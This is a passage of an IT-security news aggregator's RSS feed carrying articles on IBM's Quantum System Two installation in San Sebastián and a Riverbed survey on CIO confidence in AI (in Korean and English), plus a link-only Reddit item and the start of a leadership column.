<p><a href="https://us.resources.cio.com/resources/information-management-in-the-age-of-ai/" rel="nofollow">Download the Roadmap Report</a> to read more of the panelists’ key ideas, offering CIOs new possibilities for moving their own work forward at the pace of…well, at the pace of AI.</p>



<p><br></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[IBM unveils advanced quantum computer in Spain]]></title>
<description><![CDATA[The Guipuzcoan city of San Sebastián is now operating the IBM Quantum System Two quantum computer, the most advanced of its kind that IBM has developed commercially to date. This is the first installation of its kind in Europe and the second in the world—the first was installed in the Japanese ci...]]></description>
<link>https://tsecurity.de/de/3042711/it-security-nachrichten/ibm-unveils-advanced-quantum-computer-in-spain/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3042711/it-security-nachrichten/ibm-unveils-advanced-quantum-computer-in-spain/</guid>
<pubDate>Wed, 15 Oct 2025 20:49:20 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The Guipuzcoan city of San Sebastián is now operating the IBM Quantum System Two quantum computer, the most advanced of its kind that IBM has developed commercially to date. This is the first installation of its kind in Europe and the second in the world—the first was installed in the Japanese city of Kobe before the summer—not counting the equipment IBM has in its own quantum labs in New York.</p>



<p>The IBM computer, which integrates a 156-qubit quantum chip (called Heron), is located in the new building of the Ikerbasque scientific foundation, which was also inaugurated on October 14, and from where the new equipment will be given access to more than 20 research centers and more than 30 companies, including the energy giant Iberdrola. All of them are attached to the <a href="https://www.computerworld.es/article/2101298/el-pais-vasco-invertira-50-millones-de-euros-para-instalar-el-nuevo-ordenador-cuantico-de-ibm.html" target="_blank">Basque Quantum (BasQ) program</a> promoted by the Basque Government, which includes an investment of more than 153 million euros in the promotion of quantum computing and science and an entire ecosystem designed to generate wealth and attract talent in the long term.</p>



<p>“Today is not just the inauguration of an extraordinary machine,” said Juan Ignacio Pérez Iglesias, Minister of Science, Universities and Innovation of the Basque Government, at the presentation of the new computer, held in San Sebastián. <em>Computerworld</em> attended the presentation at the invitation of IBM. “Behind this announcement is a whole strategy, working with scientific, technological and business stakeholders, and with the help of IBM, to develop an entire ecosystem <a href="https://www.computerworld.es/article/4067287/especial-tecnologia-cuantica-2025.html" target="_blank">around quantum computing</a>.” For Pérez Iglesias, “this is a founding moment.” A vision shared by the Lehendakari himself, Imanol Pradales, who emphasized at the event that the regional government’s focus on “cultivating and preserving science for decades has been key to IBM choosing us as a partner and traveling companion among the dozens of offers they had in quantum computing.”</p>



<p>For the President of the Basque Government, the region’s quantum strategy (BasQ) “allows us to be a magnet for the generation of advanced knowledge and talent and also to align ourselves with the EU’s resilience and re-industrialization strategy.”</p>



<h2 class="wp-block-heading">Quantum computing, classical computing, and AI </h2>



<p>Jay Gambetta, current director of IBM Research and also present at the inauguration, emphasized that with this announcement, the company is “closer to the quantum advantage” it hopes to achieve by 2026, thanks, as Horacio Morell, president of IBM Spain, also pointed out, to the combination of new quantum computing with classical computing and artificial intelligence. “The combination of the three,” he asserted, “will allow us to tackle problems that have been intractable until now.”</p>



<p>After indicating that, thanks to this project, “quantum computing is becoming a reality in Spain today, and the focus will now be on translating it into applications and greater competitiveness for industry,” Morell reviewed the Blue Giant’s roadmap for this emerging technology, which, in addition to pursuing the aforementioned quantum advantage next year, also aims to launch the<strong> <a href="https://www.computerworld.es/article/4004210/ibm-asegura-tener-la-unica-via-realista-hacia-la-computacion-cuantica.html" target="_blank">first commercial quantum computer on a scale and capable of error correction</a></strong>, i.e., without the famous quantum “noise,” on the market in 2029. “In addition to placing us [as a country] on the quantum computing map, this project will be a legacy for our society,” he noted.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Executives at the IBM-Euskadi Quantum Computational Center in San Sebastián, Spain" class="wp-image-4073073" srcset="https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?quality=50&amp;strip=all 5531w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=300%2C200&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=768%2C512&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=1024%2C683&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=1536%2C1024&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=2048%2C1366&amp;quality=50&amp;strip=all 2048w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=1240%2C826&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=150%2C100&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=1045%2C697&amp;quality=50&amp;strip=all 1045w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=252%2C168&amp;quality=50&amp;strip=all 252w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=126%2C84&amp;quality=50&amp;strip=all 126w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=720%2C480&amp;quality=50&amp;strip=all 720w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=540%2C360&amp;quality=50&amp;strip=all 540w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two-Unveiling.jpg?resize=375%2C250&amp;quality=50&amp;strip=all 375w" width="1024" height="683" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>IBM executives and officials from the Basque Government and regional councils in front of Europe’s first IBM Quantum System Two, located at the IBM-Euskadi Quantum Computational Center in San Sebastián, Spain.</p>
</figcaption></figure><p class="imageCredit">Irekia</p></div>



<p>Adolfo Morais, Deputy Minister of Science and Innovation of the Basque Government, explained to the press present at the event that the use of the new quantum machine in combination with other classical supercomputing systems, which will be modernized shortly, and artificial intelligence solutions will surely be a reality in 2027. “At the Euskadi Quantum Computational Center of Ikerbasque, we are already thinking about setting up a more modern supercomputer to replace the current <a href="https://www.i2basque.eus/se-inaugura-hyperion-el-tercer-supercomputador-mas-potente-del-estado/" target="_blank" rel="noreferrer noopener">Hyperion</a> next year, so that in two years we will be able to use the three types of technology in combination.”</p>



<p>“We don’t envision quantum computing working independently, just as we don’t envision classical computing working independently in the future,” emphasized Mikel Díez, director of Quantum Computing at IBM Spain, confirming that the new computer works in conjunction with classical computing architecture. “The purpose of our quantum computing proposal is for it to work in conjunction with classical computing,” he emphasized.  </p>



<p>The machine, he explained, is a<strong> </strong>modular architecture that, for now, has a single quantum chip, but more can be added. It takes up almost an entire room and must be kept at a temperature of -273 degrees Celsius, guaranteed by a pump cooling system. “It consumes kilowatts, not megawatts, because the qubits barely require any energy; in this sense, it’s very different from large classical supercomputers, which require much more energy,” Díez added.</p>



<h2 class="wp-block-heading">Practical applications of an emerging technology</h2>



<p>Quantum computing, combined with classical supercomputing and increasingly powerful AI tools, is expected to disrupt not only the academic world but also various productive sectors. <a href="https://www.computerworld.es/article/4071919/mikel-diez-ibm-queremos-hibridar-la-computacion-cuantica-con-la-clasica.html" target="_blank">As Mikel Díaz himself recalls in an interview with <em>Computerworld</em></a>, the Basque Government’s BasQ program contemplates three types of initiatives or projects that will work with quantum technology. “The first are related to the evolution of quantum technology itself: how to continue improving error correction, how to identify components of quantum computers, and how to optimize both these and the performance of these devices.”</p>



<p>In this sense, as Díez himself acknowledges to this newspaper, “it’s true that the computer we’re inaugurating today in San Sebastián is a ‘noisy’ computer, and this, in some ways, still limits certain features.” Specifically, according to the IBM executive, the Quantum System Two has a rate of one error per thousand operations performed with a qubi<strong>t</strong>. “Although it’s a very, very small rate, we’re aware that it can lead to situations where the result isn’t entirely guaranteed. What are we doing at this current moment? Post-processing the results we obtain and correcting possible errors.” Díez emphasizes that this will be done for the duration of this transition period until the arrival of a fault-tolerant quantum machine, as classical computers have been for years.</p>



<p>Another type of project to which quantum computing will be applied, from a more scientific perspective, is the behavior of materials or time crystals. Finally, he explains, there is a third line related to the application of this technology in industry. “For example, we are exploring how to improve investment portfolios for the banking sector, optimize the energy grid, or explore logistics problems.”</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?quality=50&amp;strip=all&amp;w=1024" alt="IBM Quantum System Two" class="wp-image-4073072" srcset="https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?quality=50&amp;strip=all 1920w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?resize=300%2C113&amp;quality=50&amp;strip=all 300w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?resize=768%2C288&amp;quality=50&amp;strip=all 768w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?resize=1024%2C384&amp;quality=50&amp;strip=all 1024w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?resize=1536%2C576&amp;quality=50&amp;strip=all 1536w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?resize=1240%2C465&amp;quality=50&amp;strip=all 1240w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?resize=150%2C56&amp;quality=50&amp;strip=all 150w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?resize=854%2C320&amp;quality=50&amp;strip=all 854w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?resize=640%2C240&amp;quality=50&amp;strip=all 640w, https://b2b-contenthub.com/wp-content/uploads/2025/10/BasQ-IBM-Quantum-System-Two_hero_banner.jpg?resize=444%2C167&amp;quality=50&amp;strip=all 444w" width="1024" height="384" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The Basque Government and IBM unveil the first IBM Quantum System Two in Europe at the IBM-Euskadi Quantum Computational Center in San Sebastián, Spain.</p>
</figcaption></figure><p class="imageCredit">IBM</p></div>



<p>Currently, according to Adolfo Morais of the Basque Government, “50% of the quantum computing capacity is already being used by the scientific sector. We hope that the remaining 50% will be used by other scientific institutions, as well as by private companies and public bodies.” Along these lines, he added, both the three provincial councils and the Basque Executive have programs to accelerate use cases. “We not only want to attract Basque companies and entities, but the project has a global scope. In the coming weeks, we will announce how to apply for access to these quantum services,” he stated, emphasizing that the selection of projects will be based on their quality.</p>



<p>Morais also emphasized that the collaborative framework between Ikerbasque and IBM has never been about “merely acquiring a device.” The contract, which amounts to €80 million—the figure initially announced was over €50 million—includes the acquisition of the quantum computer, “the most expensive component,” but also the implementation of other research and training initiatives. In fact, thanks to this agreement, 150 people have already been trained in this technology.</p>



<p><em>This feature <a href="https://www.computerworld.es/article/4072243/espana-inicia-el-camino-hacia-la-ventaja-cuantica-con-la-puesta-en-marcha-del-ordenador-de-ibm-mas-avanzado-en-esta-tecnologia.html">originally appeared on Computerworld Spain</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[“AI 자신감은 높지만 실적은 아직” CIO 낙관과 현실의 간극]]></title>
<description><![CDATA[AIOps 기반 옵저버빌리티(Observability) 솔루션 업체 리버베드(Riverbed)가 최근 발표한 조사 결과에 따르면, 기술 전문가와 비즈니스 및 IT 리더의 88%가 “자사 AI 프로젝트가 기대를 충족하거나 능가할 것”이라고 답했지만, 실제로 기업 전체 차원에서 AI를 운영 중인 곳은 12%에 불과했다. 또한, AI 프로젝트 가운데 완전히 배포된 것은 10개 중 1개 수준으로, 기대감이 실행력보다 훨씬 앞서 있는 것으로 나타났다.



이 같은 결과는 최근 MIT 보고서에서도 확인된 바 있다. MIT는 생성형 AI...]]></description>
<link>https://tsecurity.de/de/3040855/it-security-nachrichten/ai-cio/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3040855/it-security-nachrichten/ai-cio/</guid>
<pubDate>Wed, 15 Oct 2025 06:04:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>AIOps 기반 옵저버빌리티(Observability) 솔루션 업체 리버베드(Riverbed)가 최근 발표한 <a href="https://www.riverbed.com/press-releases/global-survey-reveals-ai-readiness/" data-type="link" data-id="https://www.riverbed.com/press-releases/global-survey-reveals-ai-readiness/" rel="nofollow">조사 결과</a>에 따르면, 기술 전문가와 비즈니스 및 IT 리더의 88%가 “자사 AI 프로젝트가 기대를 충족하거나 능가할 것”이라고 답했지만, 실제로 기업 전체 차원에서 AI를 운영 중인 곳은 12%에 불과했다. 또한, AI 프로젝트 가운데 완전히 배포된 것은 10개 중 1개 수준으로, 기대감이 실행력보다 훨씬 앞서 있는 것으로 나타났다.</p>



<p>이 같은 결과는 최근 MIT 보고서에서도 확인된 바 있다. MIT는 생성형 AI 파일럿 프로젝트의 95%가 실패했다고 밝혔다.</p>



<p>조사에 참여한 기업은 지난 1년 사이 AI 투자액을 두 배로 늘렸지만, 응답자의 36%만이 “조직이 AI를 완전히 활용할 준비가 되어 있다”고 답했다.</p>



<p>리버베드의 CMO 짐 가간은 “경영진이 IT 실무자보다 AI에 대해 훨씬 낙관적인 경향을 보였다”라고 지적했다. 또, AI 확산의 주요 장애 요인으로 데이터 품질과 일관성 문제를 꼽았다.</p>



<p>응답자 다수는 자사 데이터가 AI에 적합한 수준인지 확신하지 못한다고 밝혔다. 다만 데이터 품질이 개선되고 있다는 응답도 있었다. 하지만 응답자의 1/3만이 데이터의 적합성과 일관성, 표준화 수준이 우수하다고 평가했으며, 품질과 완전성, 정확성, 무결성, 접근성, 활용성 측면에서 ‘우수하다’고 평가한 비율은 절반에도 미치지 못했다.</p>



<p>가간은 “AI에 대한 기대는 크지만, 진척 속도는 기대만큼 빠르지 않다”라며, “그래도 해마다 발전하고 있다. 단지 모든 요소가 하루아침에 맞물리긴 어렵다. AI가 제대로 작동하려면 시간이 필요하다”라고 말했다.</p>



<h2 class="wp-block-heading">불명확한 기대치</h2>



<p>툴스그룹(ToolsGroup)의 CTO 워런 윌비는 AI에 대한 CIO의 자신감이 과도한 이유 중 하나는 애초에 대부분의 조직이 명확한 기대치를 세우지 않았기 때문이라고 지적한다. 윌비는 “AI 도입 목표가 생산성 10% 향상인지, 인력 2% 감축인지조차 불분명하다. 기대치 자체가 명확하게 정의되지 않았다”라고 덧붙였다.</p>



<p>영국 IT 규제 자문회사 얼라인드 컨설팅 그룹(Aligned Consulting Group)의 총괄 파트너 파트리치아 베르티니는 “AI 기술을 실제로 구현하는 과정의 어려움보다 기대감이 앞서 있다”라고 분석했다. 베르티니는 “‘AI를 당장 도입해야 한다’는 압박감이 과도한 긴장감을 조성했다”라며, “많은 기업이 명확한 비전이나 실행 요건을 이해하지 못한 채 AI를 도입하고 있다. 무엇을 도입할지에만 집중하고, 어떻게 책임 있게 도입할지는 고려하지 않는다”라고 지적했다.</p>



<p>베르티니는 특히 “EU AI 법안이 요구하는 규정을 대부분 CIO가 준비하지 못하고 있다”라며, “우리가 데이터 출처 문서화, 편향성 테스트, 의사결정 흐름 공개 등 EU AI 법안이 요구하는 내용을 설명하면 CIO들이 깜짝 놀란다. 대부분 CIO는 그 내용을 전혀 몰랐다고 인정하고, 규제 담당 책임자도 전모를 제대로 전달하지 않고 있다”라고 경고했다.</p>



<h2 class="wp-block-heading">AI 성과, 아직 갈 길 멀다</h2>



<p>AI 도입은 규제와 거버넌스 문제뿐만 아니라 대부분 프로젝트가 아직 초기 단계에 머물러 있다는 점에서도 한계가 있다. 특히 에이전틱 AI는 높은 잠재력을 지녔지만 실제 구현은 이제 막 시작된 수준이다. 윌비는 “AI에 대한 열정은 결코 잘못된 게 아니다”라며 “다만 AI를 기업 전체로 확산시키기 어렵다는 것은, 그만큼 업무 방식 전반의 변화를 요구하는 대규모 전환 작업이 필요하기 때문”이라고 설명했다.</p>



<p>윌비는 “AI를 단순히 챗봇이나 자동 응답 시스템 같은 기능 업그레이드로 접근할 수도 있지만, 진정한 잠재력은 그 이상에 있다”라며, “에이전틱 AI는 플러그 앤 플레이 방식으로 간단히 도입할 수 있는 기술이 아니다. 업무 프로세스 자체를 재설계하고 지식 노동의 방식을 새롭게 정의해야 한다”라고 강조했다.</p>



<p>윌비는 향후 1년 안에 기업이 AI 도입에 필요한 운영적 변화를 이해하게 되면 큰 진전이 있을 것으로 내다봤다. 그는 “많은 경영진이 AI 도입의 영향력을 완전히 이해하지 못하고 있다”라며 “AI는 단순히 일을 자동화하는 것이 아니라, 사람이 직접 업무를 수행하는 대신 AI 에이전트를 관리하는 구조로 전환되는 대격변을 가져올 것”이라고 말했다.</p>



<p>또한, “에이전틱 AI의 잠재력은 엄청나지만, 완전한 배포까지는 시간이 필요하다. 상당한 노력과 투자가 뒤따라야 한다”라며 “성공의 핵심은 얼마나 빠르고 효율적으로 AI를 프로세스에 통합하고, 이를 뒷받침할 기반을 구축하느냐에 달려 있다”라고 덧붙였다.</p>



<p>AI 프로토타입을 실제 서비스로 전환하는 스타트업 타입데프(Typedef)의 공동 설립자 겸 CTO 요니 마이클도 “AI 프로젝트가 대규모로 상용화되기까지는 시간이 더 필요하다”라고 분석했다. 마이클은 “AI에 대한 기대감은 정당하다”면서도 “현재는 프로토타입에서 실제 배포 단계로 넘어가는 전환점이 2~3년 안에 도래할 것”이라고 전망했다.</p>



<p>마이클은 “시장의 열정은 진짜다. 리더들이 환상에 빠져 있는 것은 아니다”라고 말했다. 다만 “많은 경우, 노트북 환경이나 데모에서는 잘 작동하던 모델이 실제 운영 환경에서 대규모로 안정적으로 동작하기까지의 거리감을 과소평가한다”라고 지적했다.</p>



<h2 class="wp-block-heading">안전장치 구축이 관건</h2>



<p>마이클은 AI 프로젝트가 ‘파일럿의 함정’에 빠지지 않으려면 CIO가 가능한 한 빨리 AI 네이티브 인프라에 투자해야 한다고 조언했다. 마이클은 “기존 데이터 스택은 추론이나 비정형 데이터 처리를 염두에 두고 설계된 것이 아니다”라고 지적했다.</p>



<p>또한 CIO는 AI 프로젝트에 명확한 책임 체계와 안전장치를 내재화해야 한다고 강조했다. 마이클은 “파일럿을 비즈니스 KPI와 직접 연계하고, 오류율이나 지연시간, 비용 등에 사전 한도를 설정해야 한다. 시스템이 비정상적으로 작동할 때를 대비한 백업 경로도 반드시 마련해야 한다”고 조언했다.</p>



<p>이어 “데이터 과학자뿐만 아니라 데이터 엔지니어, 머신러닝 전문가, SRE 엔지니어가 함께 협업하는 다학제적 팀 구조가 필요하다. 중앙 IT, 인프라, AI 팀 간의 협업을 강화해야 한다. AI를 블랙박스로 두지 말고 핵심 운영의 일부로 통합해야 한다”라고 덧붙였다.</p>



<p>마지막으로 “AI 프로젝트는 한 번의 런칭으로 끝나는 일이 아니다. 지속적인 유지보수와 관리가 필수”라고 강조하며, “모델은 시간이 지나면 성능이 떨어지고, 데이터도 변하며, 사용자 패턴 역시 바뀐다. 재학습·롤백·섀도 모드·버전 관리 등을 위한 파이프라인이 필요하다”라고 설명했다.<br>dl-ciokorea@foundryco.com</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Método para instalar Linux en PCs del gobierno / Method for installing Linux on school PCs (with bios password)]]></title>
<description><![CDATA[submitted by    /u/Olymperatus   [link]   [comments]]]></description>
<link>https://tsecurity.de/de/3040703/linux-tipps/mtodo-para-instalar-linux-en-pcs-del-gobierno-method-for-installing-linux-on-school-pcs-with-bios-password/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3040703/linux-tipps/mtodo-para-instalar-linux-en-pcs-del-gobierno-method-for-installing-linux-on-school-pcs-with-bios-password/</guid>
<pubDate>Wed, 15 Oct 2025 03:36:38 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[  submitted by   <a href="https://www.reddit.com/user/Olymperatus"> /u/Olymperatus </a> <br> <span><a href="https://www.reddit.com/r/soportepc/comments/1o6sgve/m%C3%A9todo_para_instalar_linux_en_pcs_del_gobierno/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1o6tz6f/m%C3%A9todo_para_instalar_linux_en_pcs_del_gobierno/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[CIOs’ AI confidence yet to match results]]></title>
<description><![CDATA[A huge majority of IT leaders believe they will meet or exceed AI expectations, but that confidence is not yet supported by key metrics for success. In fact, most have a long road ahead.



According to a new survey from AIOps observability provider Riverbed, 88% of technical specialists and busi...]]></description>
<link>https://tsecurity.de/de/3039118/it-security-nachrichten/cios-ai-confidence-yet-to-match-results/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3039118/it-security-nachrichten/cios-ai-confidence-yet-to-match-results/</guid>
<pubDate>Tue, 14 Oct 2025 12:19:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>A huge majority of IT leaders believe they will meet or exceed AI expectations, but that confidence is not yet supported by key metrics for success. In fact, most have a long road ahead.</p>



<p>According to a <a href="https://www.riverbed.com/press-releases/global-survey-reveals-ai-readiness/" rel="nofollow">new survey</a> from AIOps observability provider Riverbed, 88% of technical specialists and business and IT leaders believe their organizations will make good on their AI expectations, despite only 12% currently having AI in enterprise-wide production. Moreover, just one in 10 AI projects have been <a href="https://www.cio.com/article/3850763/88-of-ai-pilots-fail-to-reach-production-but-thats-not-all-on-it.html">fully deployed</a>, respondents say, suggesting that enthusiasm is significantly outpacing the ability to deliver.</p>



<p>The Riverbed survey echoes other studies, including a recent report from MIT saying <a href="https://mlq.ai/media/quarterly_decks/v0.1_State_of_AI_in_Business_2025_Report.pdf" rel="nofollow">95% of gen AI pilot projects</a> fail.</p>



<p>In addition, while companies represented have doubled their AI investments in the past year, just 36% of respondents say their organizations are ready to fully use AI.</p>



<p>The survey also shows that executive-level leaders are more optimistic about AI than IT staff, says <a href="https://www.riverbed.com/about/leadership/" rel="nofollow">Jim Gargan</a>, CMO at Riverbed. One major impediment appears to be <a href="https://www.cio.com/article/4036547/how-to-build-data-foundations-for-ai-exploration.html">data quality and consistency</a>.</p>



<p>Survey respondents expressed doubts about whether the quality of their data was sufficient for AI, although many respondents see improvements. Still, only a third of respondents rated their data as excellent for relevance and suitability and for consistency and standardization, while less than half rated their data as excellent for quality and completeness, for accuracy and integrity, and for accessibility and usability.</p>



<p>“The promise is high, but the progress is a bit slower than people want, but they are making progress year on year,” Gargan says. “It just doesn’t happen at the speed in which everybody would like it to happen overnight. It takes time to really make this all work together.”</p>



<h2 class="wp-block-heading">Unclear expectations</h2>



<p>One problem with IT leaders’ possible overconfidence about AI expectations is that most organizations have no concrete expectations to begin with, says <a href="https://www.linkedin.com/in/wcubed/" rel="nofollow">Warren Wilbee</a>, CTO of supply chain software provider ToolsGroup.</p>



<p>“Are the expectations a 10% productivity again, or a 2% drop in staffing?” he says. “The expectations are ill-defined.”</p>



<p>Other AI experts see AI enthusiasm outpacing the difficulties of deploying the technology. In many cases, company leaders underestimate the technology requirements and the compliance and governance demands, says <a href="https://www.linkedin.com/in/patriziabertini/" rel="nofollow">Patrizia Bertini</a>, managing partner at UK IT regulatory advisory firm Aligned Consulting Group.</p>



<p>“The pressure to ‘do something with AI’ has created a false sense of urgency,” she says. “Too many organizations jump in without a clear vision or understanding of what’s required to make AI work in practice. They’re focused on what to deploy, not how to deploy responsibly.”</p>



<p><a href="https://www.cio.com/article/4032894/analysis-of-the-european-ai-regulation-one-year-after-its-entry-into-force.html">The EU AI Act</a>, for example, includes several regulations that many CIOs aren’t prepared for, she adds. “When we explain what’s needed under the forthcoming EU AI Act — from documenting data sources and bias testing to showing decision-making flows — we see jaws drop,” Bertini says. “Most CIOs admit they had no idea. Their compliance partners aren’t giving them the full picture.”</p>



<h2 class="wp-block-heading">More work to do</h2>



<p>In addition to compliance and governance challenges, many AI projects remain in the early stages, experts say. <a href="https://www.cio.com/article/4052339/the-rise-of-the-agentic-economy-how-autonomous-ai-is-reshaping-the-future-of-work.html?utm=hybrid_search">AI agents</a>, in particular, show significant promise, but implementations are nascent, ToolsGroup’s Wilbee says.</p>



<p>Enthusiasm over AI isn’t misplaced, he adds, but the lack of enterprise-wide deployments comes from the scale of transformation required.</p>



<p>“While AI can be used as a feature upgrade, such as chatbots or similar tools, its true potential extends far beyond that,” he contends. “To fully realize its benefits, agentic AI can’t be treated as a simple plug-and-play solution — it demands rethinking workflows and reshaping how knowledge workers operate.”</p>



<p>Wilbee expects significant progress in a year as organizations come to grips with the operational shifts needed to deploy game-changing AI.</p>



<p>Many organizations’ leaders don’t understand the full implications of rolling out and using AI, he says, with many not realizing the extent to which the technology will change the nature of work. Instead of executing tasks, many employees will manage agents that complete those tasks — a seismic shift.</p>



<p>“Agentic AI holds enormous potential, but the path to full deployment will take time, requiring effort and investment,” he says. “Success will depend on how well, and quickly, organizations integrate the technology into their processes and establish the proper foundation around it.”</p>



<p>AI projects will still take time to reach mass deployment, adds <a href="https://www.linkedin.com/in/yonimichael/" rel="nofollow">Yoni Michael</a>, CTO and cofounder of Typedef, an AI startup focused on turning protypes into deployments. While Michael agrees that enthusiasm is justified, he sees an inflection point where a large number of projects get to deployment coming in two to three years.</p>



<p>“There is real enthusiasm in the market — I don’t think most of these leaders are deluding themselves,” he says. “But what they often underestimate is the distance between ‘it works in a notebook or during a demo’ and ‘it works reliably, at scale, in production.’”</p>



<h2 class="wp-block-heading">Guardrails needed</h2>



<p>To move out of pilot purgatory, Michael suggests that CIOs invest in AI-native infrastructure as early as possible. “Traditional data stacks were never built for inference or unstructured data,” he says.</p>



<p>IT leaders should also embed accountability and guardrails into AI projects. They should tie pilots to business KPIs, and enforce predefined limits on errors, latency, and cost. CIOs should “ensure fallback paths if things misbehave.”</p>



<p>In addition, IT leaders should build cross-disciplinary teams, he recommends. “The future isn’t just data science; it’s data engineering plus ML plus systems plus reliability engineers working together,” Michael adds. “Foster collaboration between central IT, infrastructure, and AI teams. Don’t let AI be a black box — make it part of your core ops, not a side project.”</p>



<p>Finally, IT leaders should plan for continuous maintenance, not just a one-time launch, he says. “Models drift, data shifts, and usage patterns change,” Michael adds. “You need pipelines for retraining, rollback, shadow modes, and versioning.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Beyond the head-heart dichotomy: How the best leaders engage hands, too]]></title>
<description><![CDATA[Having led a tech company for more than 20 years now, I often get asked one question: “What does it take to be a truly effective leader?”



It’s a question that has stayed the same over the years, even as my answer has evolved.



Twenty years ago, leadership was all about strategic thinking and...]]></description>
<link>https://tsecurity.de/de/3028145/it-security-nachrichten/beyond-the-head-heart-dichotomy-how-the-best-leaders-engage-hands-too/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3028145/it-security-nachrichten/beyond-the-head-heart-dichotomy-how-the-best-leaders-engage-hands-too/</guid>
<pubDate>Wed, 08 Oct 2025 15:19:47 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Having led a tech company for more than 20 years now, I often get asked one question: “What does it take to be a truly effective leader?”</p>



<p>It’s a question that has stayed the same over the years, even as my answer has evolved.</p>



